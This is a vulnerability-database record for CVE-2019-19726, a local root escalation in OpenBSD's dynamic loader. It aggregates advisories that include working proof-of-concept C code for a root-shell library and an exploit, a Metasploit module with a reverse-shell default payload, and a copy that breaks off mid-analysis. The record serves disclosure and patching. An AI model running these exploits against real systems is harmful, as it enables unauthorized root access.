ID CVE-2019-19726 Type cve Reporter cve@mitre.org Modified 2019-12-27T23:15:00
Description
OpenBSD through 6.6 allows local users to escalate to root because a check for LD_LIBRARY_PATH in setuid programs can be defeated by setting a very small RLIMIT_DATA resource limit. When executing chpass or passwd (which are setuid root), _dl_setup_env in ld.so tries to strip LD_LIBRARY_PATH from the environment, but fails when it cannot allocate memory. Thus, the attacker is able to execute their own library code as root.
{"id": "CVE-2019-19726", "bulletinFamily": "NVD", "title": "CVE-2019-19726", "description": "OpenBSD through 6.6 allows local users to escalate to root because a check for LD_LIBRARY_PATH in setuid programs can be defeated by setting a very small RLIMIT_DATA resource limit. When executing chpass or passwd (which are setuid root), _dl_setup_env in ld.so tries to strip LD_LIBRARY_PATH from the environment, but fails when it cannot allocate memory. Thus, the attacker is able to execute their own library code as root.", "published": "2019-12-12T01:15:00", "modified": "2019-12-27T23:15:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-19726", "reporter": "cve@mitre.org", "references": ["http://packetstormsecurity.com/files/155658/Qualys-Security-Advisory-OpenBSD-Dynamic-Loader-Privilege-Escalation.html", "https://www.openbsd.org/errata66.html", "https://www.openwall.com/lists/oss-security/2019/12/11/9", "http://packetstormsecurity.com/files/155764/OpenBSD-Dynamic-Loader-chpass-Privilege-Escalation.html", "http://seclists.org/fulldisclosure/2019/Dec/31", "https://seclists.org/bugtraq/2019/Dec/25"], "cvelist": ["CVE-2019-19726"], "type": "cve", "lastseen": "2021-02-02T07:12:57", "edition": 9, "viewCount": 84, "enchantments": {"dependencies": {"references": [{"type": "symantec", "idList": ["SMNTC-111189"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:DB35DA0F20BB8FAC32595621B716EC0E"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/OPENBSD/LOCAL/DYNAMIC_LOADER_CHPASS_PRIVESC", "MSF:EXPLOIT/OPENBSD/LOCAL/DYNAMIC_LOADER_CHPASS_PRIVESC/"]}, {"type": "zdt", "idList": ["1337DAY-ID-33695", "1337DAY-ID-33663"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:1AB9435EE9741F5C164FF2FFA781A1A6"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:155658", "PACKETSTORM:155764"]}, {"type": "exploitdb", "idList": ["EDB-ID:47780", "EDB-ID:47803"]}], "modified": "2021-02-02T07:12:57", "rev": 2}, "score": {"value": 5.7, "vector": "NONE", "modified": "2021-02-02T07:12:57", "rev": 2}, "vulnersScore": 5.7}, "cpe": ["cpe:/o:openbsd:openbsd:6.6"], "affectedSoftware": [{"cpeName": "openbsd:openbsd", "name": "openbsd", "operator": "le", "version": "6.6"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cpe23": ["cpe:2.3:o:openbsd:openbsd:6.6:*:*:*:*:*:*:*"], "cwe": ["CWE-269"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:openbsd:openbsd:6.6:*:*:*:*:*:*:*", "versionEndIncluding": "6.6", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "https://www.openwall.com/lists/oss-security/2019/12/11/9", "refsource": "MISC", "tags": ["Third Party Advisory", "Mailing List"], "url": "https://www.openwall.com/lists/oss-security/2019/12/11/9"}, {"name": "http://packetstormsecurity.com/files/155658/Qualys-Security-Advisory-OpenBSD-Dynamic-Loader-Privilege-Escalation.html", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "http://packetstormsecurity.com/files/155658/Qualys-Security-Advisory-OpenBSD-Dynamic-Loader-Privilege-Escalation.html"}, {"name": "https://www.openbsd.org/errata66.html", "refsource": "CONFIRM", "tags": ["Patch", "Vendor Advisory"], "url": "https://www.openbsd.org/errata66.html"}, {"name": "20191213 Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)", "refsource": "FULLDISC", "tags": ["Third Party Advisory", "Exploit"], "url": "http://seclists.org/fulldisclosure/2019/Dec/31"}, {"name": "http://packetstormsecurity.com/files/155764/OpenBSD-Dynamic-Loader-chpass-Privilege-Escalation.html", "refsource": "MISC", "tags": [], "url": "http://packetstormsecurity.com/files/155764/OpenBSD-Dynamic-Loader-chpass-Privilege-Escalation.html"}, {"name": "20191212 Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)", "refsource": "BUGTRAQ", "tags": ["Third Party Advisory", "Mailing List", "Exploit"], "url": "https://seclists.org/bugtraq/2019/Dec/25"}]}
{"symantec": [{"lastseen": "2019-12-13T22:21:47", "bulletinFamily": "software", "cvelist": ["CVE-2019-19726"], "description": "### Description\n\nOpenBSD is prone to a local privilege escalation vulnerability. A local attacker can exploit this issue to gain elevated privileges. OpenBSD versions 6.1, 6.2, 6.5 and 6.6 are vulnerable. Other versions may also be affected.\n\n### Technologies Affected\n\n * OpenBSD Openbsd 6.1 \n * OpenBSD Openbsd 6.2 \n * OpenBSD Openbsd 6.5 \n * OpenBSD Openbsd 6.6 \n\n### Recommendations\n\n**Permit local access for trusted individuals only. Where possible, use restricted environments and restricted shells.** \nEnsure that only trusted users have local, interactive access to affected computers.\n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "modified": "2019-12-11T00:00:00", "published": "2019-12-11T00:00:00", "id": "SMNTC-111189", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/111189", "type": "symantec", "title": "OpenBSD CVE-2019-19726 Local Privilege Escalation Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}}], "qualysblog": [{"lastseen": "2019-12-14T23:21:47", "bulletinFamily": "blog", "cvelist": ["CVE-2019-19521", "CVE-2019-19726"], "description": "[Qualys Research Labs](<https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt>) discovered a local privilege escalation vulnerability in OpenBSD's dynamic loader. The vulnerability could allow local users or malicious software to gain full root privileges. OpenBSD developers have confirmed the vulnerability and released security patches in less than 3 hours.\n\nQualys Research Labs also provided proof-of-concept exploits in the [security advisory](<https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt>).\n\n### Vulnerability Details\n\nThis vulnerability exists in OpenBSD's dynamic loader versions of [OpenBSD 6.5](<https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/024_ldso.patch.sig>) and [OpenBSD 6.6](<https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig>). It is exploitable in the default installation (via the set-user-ID executable chpass or passwd) and could allow local users or malicious software to gain full root privileges. For more technical details on this vulnerability, please see our [security advisory](<https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt>). Also refer to our recently published [OpenBSD blog post](<https://blog.qualys.com/laws-of-vulnerabilities/2019/12/04/openbsd-multiple-authentication-vulnerabilities>).\n\n### Detecting CVE-2019-19726\n\nQualys has issued QID 372292 for [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/>) that covers authentication vulnerabilities in OpenBSD. This QID is included in signature version VULNSIGS-2.4.768-4.\n\nQID 372292 : OpenBSD Local Privilege Escalation Vulnerability\n\nThis executes \u201csyspatch -l\u201d command to check for the presence of patch applied on the system. \nYou can search for this new QID in AssetView or within the VM Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.qid:372292_ \n_vulnerabilities.vulnerability.cveId:`CVE-2019-19726`_\n\nThis will return a list of all impacted hosts.\n\nYou can also create a Dashboard to track all OpenBSD Vulnerabilities as shown in the template below \u2013\n\n[](<https://blog.qualys.com/wp-content/uploads/2019/12/BLOG-TMP-Image-2.png>)\n\nQualys also provided template information to create [OpenBSD Vulnerabilities Dashboard](<https://discussions.qualys.com/docs/DOC-7017>) leveraging data in Qualys Vulnerability Management subscription.\n\n### Finding Vulnerable Hosts\n\nThe fastest way to locate vulnerable hosts is though the [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) Live Feed as seen here:\n\n[](<https://blog.qualys.com/wp-content/uploads/2019/12/Screen-Shot-2019-12-11-at-4.41.30-PM.png>)\n\nSimply click on the impacted assets number to see a list of hosts with this vulnerability.\n\n### Remediation\n\nTo remediate this vulnerability, affected OpenBSD users are recommended to install patches for OpenBSD 6.5 and OpenBSD 6.6.\n\nQualys customers can scan their network with QID 372292 to detect vulnerable assets.", "modified": "2019-12-12T00:49:45", "published": "2019-12-12T00:49:45", "id": "QUALYSBLOG:DB35DA0F20BB8FAC32595621B716EC0E", "href": "https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726", "type": "qualysblog", "title": "OpenBSD Local Privilege Escalation Vulnerability (CVE-2019-19726)", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2019-12-12T23:36:08", "description": "", "published": "2019-12-12T00:00:00", "type": "packetstorm", "title": "Qualys Security Advisory - OpenBSD Dynamic Loader Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-12T00:00:00", "id": "PACKETSTORM:155658", "href": "https://packetstormsecurity.com/files/155658/Qualys-Security-Advisory-OpenBSD-Dynamic-Loader-Privilege-Escalation.html", "sourceData": "` \nQualys Security Advisory \n \nLocal Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726) \n \n \n============================================================================== \nContents \n============================================================================== \n \nSummary \nAnalysis \nDemonstration \nAcknowledgments \n \n \n============================================================================== \nSummary \n============================================================================== \n \nWe discovered a Local Privilege Escalation in OpenBSD's dynamic loader \n(ld.so): this vulnerability is exploitable in the default installation \n(via the set-user-ID executable chpass or passwd) and yields full root \nprivileges. \n \nWe developed a simple proof of concept and successfully tested it \nagainst OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both \namd64 and i386; other releases and architectures are probably also \nexploitable. \n \n \n============================================================================== \nAnalysis \n============================================================================== \n \nIn this section, we analyze a step-by-step execution of our proof of \nconcept: \n \n------------------------------------------------------------------------------ \n \n1/ We execve() the set-user-ID /usr/bin/chpass, but first: \n \n1a/ we set the LD_LIBRARY_PATH environment variable to one single dot \n(the current working directory) and approximately ARG_MAX colons (the \nmaximum number of bytes for the argument and environment list); as \ndescribed in man ld.so: \n \nLD_LIBRARY_PATH \nA colon separated list of directories, prepending the default \nsearch path for shared libraries. This variable is ignored for \nset-user-ID and set-group-ID executables. \n \n1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *) \n(2MB on amd64, 1MB on i386); as described in man setrlimit: \n \nRLIMIT_DATA The maximum size (in bytes) of the data segment for a \nprocess; this includes memory allocated via malloc(3) and \nall other anonymous memory mapped via mmap(2). \n \n------------------------------------------------------------------------------ \n \n2/ Before the main() function of chpass is executed, the _dl_boot() \nfunction of ld.so is executed and calls _dl_setup_env(): \n \n262 void \n263 _dl_setup_env(const char *argv0, char **envp) \n264 { \n... \n271 _dl_libpath = _dl_split_path(_dl_getenv(\"LD_LIBRARY_PATH\", envp)); \n... \n283 _dl_trust = !_dl_issetugid(); \n284 if (!_dl_trust) { /* Zap paths if s[ug]id... */ \n285 if (_dl_libpath) { \n286 _dl_free_path(_dl_libpath); \n287 _dl_libpath = NULL; \n288 _dl_unsetenv(\"LD_LIBRARY_PATH\", envp); \n289 } \n \n------------------------------------------------------------------------------ \n \n3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH \nenvironment variable and passes it to _dl_split_path(): \n \n23 char ** \n24 _dl_split_path(const char *searchpath) \n25 { \n.. \n35 pp = searchpath; \n36 while (*pp) { \n37 if (*pp == ':' || *pp == ';') \n38 count++; \n39 pp++; \n40 } \n.. \n45 retval = _dl_reallocarray(NULL, count, sizeof(*retval)); \n46 if (retval == NULL) \n47 return (NULL); \n \n------------------------------------------------------------------------------ \n \n4/ At line 45, count is approximately ARG_MAX (the number of colons in \nour LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our \nlow RLIMIT_DATA); at line 47, _dl_split_path() returns NULL. \n \n------------------------------------------------------------------------------ \n \n5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH \nis ignored, but it is not deleted from the environment (CVE-2019-19726): \nalthough _dl_trust is false (_dl_issetugid() returns true because chpass \nis set-user-ID), _dl_unsetenv() is not called (line 288) because \n_dl_libpath is NULL (line 285). \n \n------------------------------------------------------------------------------ \n \n6/ Next, the main() function of chpass is executed, and it: \n \n6a/ calls setuid(0), which sets the real and effective user IDs to 0; \n \n6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY; \n \n6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb \n(unlike execve(), execv() does not reset the environment). \n \n------------------------------------------------------------------------------ \n \n7/ Before the main() function of pwd_mkdb is executed, the _dl_boot() \nfunction of ld.so is executed and calls _dl_setup_env(): \n \n7a/ at line 271, _dl_getenv() returns a pointer to our \nLD_LIBRARY_PATH environment variable (because it was not deleted from \nthe environment in step 5, and because execv() did not reset the \nenvironment in step 6c); \n \n7b/ at line 45, _dl_reallocarray() does not return NULL anymore \n(because our low RLIMIT_DATA was reset in step 6b); \n \n7c/ as a result, _dl_libpath is not NULL (line 271), and it is not \nreset to NULL (line 287) because _dl_trust is true (_dl_issetugid() \nreturns false because pwd_mkdb is not set-user-ID, and because the \nreal and effective user IDs were both set to 0 in step 6a): our \nLD_LIBRARY_PATH is not ignored anymore. \n \n------------------------------------------------------------------------------ \n \n8/ Finally, ld.so searches for shared libraries in _dl_libpath (our \nLD_LIBRARY_PATH) and loads our own library from the current working \ndirectory (the dot in our LD_LIBRARY_PATH). \n \n------------------------------------------------------------------------------ \n \n \n============================================================================== \nDemonstration \n============================================================================== \n \nIn this section, we demonstrate the use of our proof of concept: \n \n------------------------------------------------------------------------------ \n \n$ id \nuid=32767(nobody) gid=32767(nobody) groups=32767(nobody) \n \n$ cd /tmp \n \n$ cat > lib.c << \"EOF\" \n#include <paths.h> \n#include <unistd.h> \n \nstatic void __attribute__ ((constructor)) _init (void) { \nif (setuid(0) != 0) _exit(__LINE__); \nif (setgid(0) != 0) _exit(__LINE__); \nchar * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL }; \nexecve(argv[0], argv, NULL); \n_exit(__LINE__); \n} \nEOF \n \n$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED \n0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1] \n0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1] \n \n$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c \n \n$ cat > poc.c << \"EOF\" \n#include <string.h> \n#include <sys/param.h> \n#include <sys/resource.h> \n#include <unistd.h> \n \nint \nmain(int argc, char * const * argv) \n{ \n#define LLP \"LD_LIBRARY_PATH=.\" \nstatic char llp[ARG_MAX - 128]; \nmemset(llp, ':', sizeof(llp)-1); \nmemcpy(llp, LLP, sizeof(LLP)-1); \nchar * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL }; \n \n#define DATA (ARG_MAX * sizeof(char *)) \nconst struct rlimit data = { DATA, DATA }; \nif (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); \n \nif (argc <= 1) _exit(__LINE__); \nargv += 1; \nexecve(argv[0], argv, envp); \n_exit(__LINE__); \n} \nEOF \n \n$ gcc -s -o poc poc.c \n \n$ ./poc /usr/bin/chpass \n \n# id \nuid=0(root) gid=0(wheel) groups=32767(nobody) \n \n------------------------------------------------------------------------------ \n \n \n============================================================================== \nAcknowledgments \n============================================================================== \n \nWe thank Theo de Raadt and the OpenBSD developers for their incredibly \nquick response: they published a patch for this vulnerability in less \nthan 3 hours. We also thank MITRE's CVE Assignment Team. \n \n \n \n[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner> \n \n \n \nThis message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (\u201cspam\u201d). If you have any concerns about this process, please contact us. \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/155658/qualys-openbsddl.txt"}, {"lastseen": "2019-12-28T06:43:21", "description": "", "published": "2019-12-27T00:00:00", "type": "packetstorm", "title": "OpenBSD Dynamic Loader chpass Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-27T00:00:00", "id": "PACKETSTORM:155764", "href": "https://packetstormsecurity.com/files/155764/OpenBSD-Dynamic-Loader-chpass-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation', \n'Description' => %q{ \nThis module exploits a vulnerability in the OpenBSD `ld.so` \ndynamic loader (CVE-2019-19726). \n \nThe `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH` \nenvironment variable when set with approximately `ARG_MAX` colons. \n \nThis can be abused to load `libutil.so` from an untrusted path, \nusing `LD_LIBRARY_PATH` in combination with the `chpass` set-uid \nexecutable, resulting in privileged code execution. \n \nThis module has been tested successfully on: \n \nOpenBSD 6.1 (amd64); and \nOpenBSD 6.6 (amd64) \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Qualys', # Discovery and exploit \n'bcoles' # Metasploit \n], \n'DisclosureDate' => '2019-12-11', \n'Platform' => %w[bsd unix], # OpenBSD \n'Arch' => [ARCH_CMD], \n'SessionTypes' => ['shell'], \n'References' => \n[ \n['CVE', '2019-19726'], \n['EDB', '47780'], \n['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'], \n['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'], \n['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'], \n['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'], \n['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig'] \n], \n'Targets' => [['Automatic', {}]], \n'DefaultOptions' => \n{ \n'PAYLOAD' => 'cmd/unix/reverse', \n'WfsDelay' => 10 \n}, \n'DefaultTarget' => 0)) \nregister_options [ \nOptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass']) \n] \nregister_advanced_options [ \nOptBool.new('ForceExploit', [false, 'Override check result', false]), \nOptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) \n] \nend \n \ndef base_dir \ndatastore['WritableDir'].to_s \nend \n \ndef chpass_path \ndatastore['CHPASS_PATH'] \nend \n \ndef upload(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nrm_f path \nwrite_file path, data \nregister_file_for_cleanup path \nend \n \ndef is_root? \n(cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0') \nend \n \ndef libutil_name \nreturn unless command_exists? 'readelf' \ncmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\\[(libutil\\.so\\.[\\d\\.]+)\\]/).flatten.first \nend \n \ndef check \npatches = cmd_exec('syspatch -l').to_s \npatch = '013_ldso' \nif patches.include? patch \nvprint_error \"Patch #{patch} has been installed. Target is not vulnerable.\" \nreturn CheckCode::Safe \nend \nvprint_good \"Patch #{patch} is not present\" \n \nunless command_exists? 'cc' \nvprint_error 'cc is not installed' \nreturn CheckCode::Safe \nend \nprint_good 'cc is installed' \n \nCheckCode::Detected \nend \n \ndef exploit \nunless check == CheckCode::Detected \nunless datastore['ForceExploit'] \nfail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' \nend \nprint_warning 'Target does not appear to be vulnerable' \nend \n \nif is_root? \nunless datastore['ForceExploit'] \nfail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' \nend \nend \n \nunless writable? base_dir \nfail_with Failure::BadConfig, \"#{base_dir} is not writable\" \nend \n \n# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9 \nlib_data = <<-EOF \n#include <paths.h> \n#include <unistd.h> \n \nstatic void __attribute__ ((constructor)) _init (void) { \nif (setuid(0) != 0) _exit(__LINE__); \nif (setgid(0) != 0) _exit(__LINE__); \nchar * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL }; \nexecve(argv[0], argv, NULL); \n_exit(__LINE__); \n} \nEOF \n \nlibs = [] \nlib = libutil_name \nif lib \nlibs << lib \nprint_good \"Found libutil.so name: #{lib}\" \nelse \nlibs << 'libutil.so.12.1' \nlibs << 'libutil.so.13.1' \nprint_warning \"Could not determine libutil.so name. Using: #{libs.join(', ')}\" \nend \n \nlib_src_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}.c\" \nupload lib_src_path, lib_data \nlibs.each do |lib_name| \nlib_path = \"#{base_dir}/#{lib_name}\" \nprint_status \"Compiling #{lib_path} ...\" \noutput = cmd_exec \"cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall\" \nregister_file_for_cleanup lib_path \n \nunless output.blank? \nprint_error output \nfail_with Failure::Unknown, \"#{lib_path}.c failed to compile\" \nend \nend \n \n# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9 \nexploit_data = <<-EOF \n#include <string.h> \n#include <sys/param.h> \n#include <sys/resource.h> \n#include <unistd.h> \n \nint \nmain(int argc, char * const * argv) \n{ \n#define LLP \"LD_LIBRARY_PATH=.\" \nstatic char llp[ARG_MAX - 128]; \nmemset(llp, ':', sizeof(llp)-1); \nmemcpy(llp, LLP, sizeof(LLP)-1); \nchar * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL }; \n \n#define DATA (ARG_MAX * sizeof(char *)) \nconst struct rlimit data = { DATA, DATA }; \nif (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); \n \nif (argc <= 1) _exit(__LINE__); \nargv += 1; \nexecve(argv[0], argv, envp); \n_exit(__LINE__); \n} \nEOF \n \nexploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\" \nupload \"#{exploit_path}.c\", exploit_data \nprint_status \"Compiling #{exploit_path} ...\" \noutput = cmd_exec \"cc -s #{exploit_path}.c -o #{exploit_path} -Wall\" \nregister_file_for_cleanup exploit_path \n \nunless output.blank? \nprint_error output \nfail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\" \nend \n \npayload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\" \nupload payload_path, \"#!/bin/sh\\n#{payload.encoded}\\n\" \nchmod payload_path \n \nprint_status 'Launching exploit...' \noutput = cmd_exec(\"cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}\") \noutput.each_line { |line| vprint_status line.chomp } \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/155764/dynamic_loader_chpass_privesc.rb.txt"}], "zdt": [{"lastseen": "2019-12-17T13:01:50", "description": "Exploit for bsd platform in category local exploits", "edition": 1, "published": "2019-12-17T00:00:00", "title": "OpenBSD 6.x - Dynamic Loader Privilege Escalation Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-17T00:00:00", "id": "1337DAY-ID-33663", "href": "https://0day.today/exploit/description/33663", "sourceData": "Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)\r\n\r\n\r\n==============================================================================\r\nContents\r\n==============================================================================\r\n\r\nSummary\r\nAnalysis\r\nDemonstration\r\nAcknowledgments\r\n\r\n\r\n==============================================================================\r\nSummary\r\n==============================================================================\r\n\r\nWe discovered a Local Privilege Escalation in OpenBSD's dynamic loader\r\n(ld.so): this vulnerability is exploitable in the default installation\r\n(via the set-user-ID executable chpass or passwd) and yields full root\r\nprivileges.\r\n\r\nWe developed a simple proof of concept and successfully tested it\r\nagainst OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both\r\namd64 and i386; other releases and architectures are probably also\r\nexploitable.\r\n\r\n\r\n==============================================================================\r\nAnalysis\r\n==============================================================================\r\n\r\nIn this section, we analyze a step-by-step execution of our proof of\r\nconcept:\r\n\r\n------------------------------------------------------------------------------\r\n\r\n1/ We execve() the set-user-ID /usr/bin/chpass, but first:\r\n\r\n 1a/ we set the LD_LIBRARY_PATH environment variable to one single dot\r\n (the current working directory) and approximately ARG_MAX colons (the\r\n maximum number of bytes for the argument and environment list); as\r\n described in man ld.so:\r\n\r\n LD_LIBRARY_PATH\r\n A colon separated list of directories, prepending the default\r\n search path for shared libraries. This variable is ignored for\r\n set-user-ID and set-group-ID executables.\r\n\r\n 1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)\r\n (2MB on amd64, 1MB on i386); as described in man setrlimit:\r\n\r\n RLIMIT_DATA The maximum size (in bytes) of the data segment for a\r\n process; this includes memory allocated via malloc(3) and\r\n all other anonymous memory mapped via mmap(2).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n2/ Before the main() function of chpass is executed, the _dl_boot()\r\nfunction of ld.so is executed and calls _dl_setup_env():\r\n\r\n262 void\r\n263 _dl_setup_env(const char *argv0, char **envp)\r\n264 {\r\n...\r\n271 _dl_libpath = _dl_split_path(_dl_getenv(\"LD_LIBRARY_PATH\", envp));\r\n...\r\n283 _dl_trust = !_dl_issetugid();\r\n284 if (!_dl_trust) { /* Zap paths if s[ug]id... */\r\n285 if (_dl_libpath) {\r\n286 _dl_free_path(_dl_libpath);\r\n287 _dl_libpath = NULL;\r\n288 _dl_unsetenv(\"LD_LIBRARY_PATH\", envp);\r\n289 }\r\n\r\n------------------------------------------------------------------------------\r\n\r\n3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH\r\nenvironment variable and passes it to _dl_split_path():\r\n\r\n 23 char **\r\n 24 _dl_split_path(const char *searchpath)\r\n 25 {\r\n ..\r\n 35 pp = searchpath;\r\n 36 while (*pp) {\r\n 37 if (*pp == ':' || *pp == ';')\r\n 38 count++;\r\n 39 pp++;\r\n 40 }\r\n ..\r\n 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));\r\n 46 if (retval == NULL)\r\n 47 return (NULL);\r\n\r\n------------------------------------------------------------------------------\r\n\r\n4/ At line 45, count is approximately ARG_MAX (the number of colons in\r\nour LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our\r\nlow RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.\r\n\r\n------------------------------------------------------------------------------\r\n\r\n5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH\r\nis ignored, but it is not deleted from the environment (CVE-2019-19726):\r\nalthough _dl_trust is false (_dl_issetugid() returns true because chpass\r\nis set-user-ID), _dl_unsetenv() is not called (line 288) because\r\n_dl_libpath is NULL (line 285).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n6/ Next, the main() function of chpass is executed, and it:\r\n\r\n 6a/ calls setuid(0), which sets the real and effective user IDs to 0;\r\n\r\n 6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;\r\n\r\n 6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb\r\n (unlike execve(), execv() does not reset the environment).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()\r\nfunction of ld.so is executed and calls _dl_setup_env():\r\n\r\n 7a/ at line 271, _dl_getenv() returns a pointer to our\r\n LD_LIBRARY_PATH environment variable (because it was not deleted from\r\n the environment in step 5, and because execv() did not reset the\r\n environment in step 6c);\r\n\r\n 7b/ at line 45, _dl_reallocarray() does not return NULL anymore\r\n (because our low RLIMIT_DATA was reset in step 6b);\r\n\r\n 7c/ as a result, _dl_libpath is not NULL (line 271), and it is not\r\n reset to NULL (line 287) because _dl_trust is true 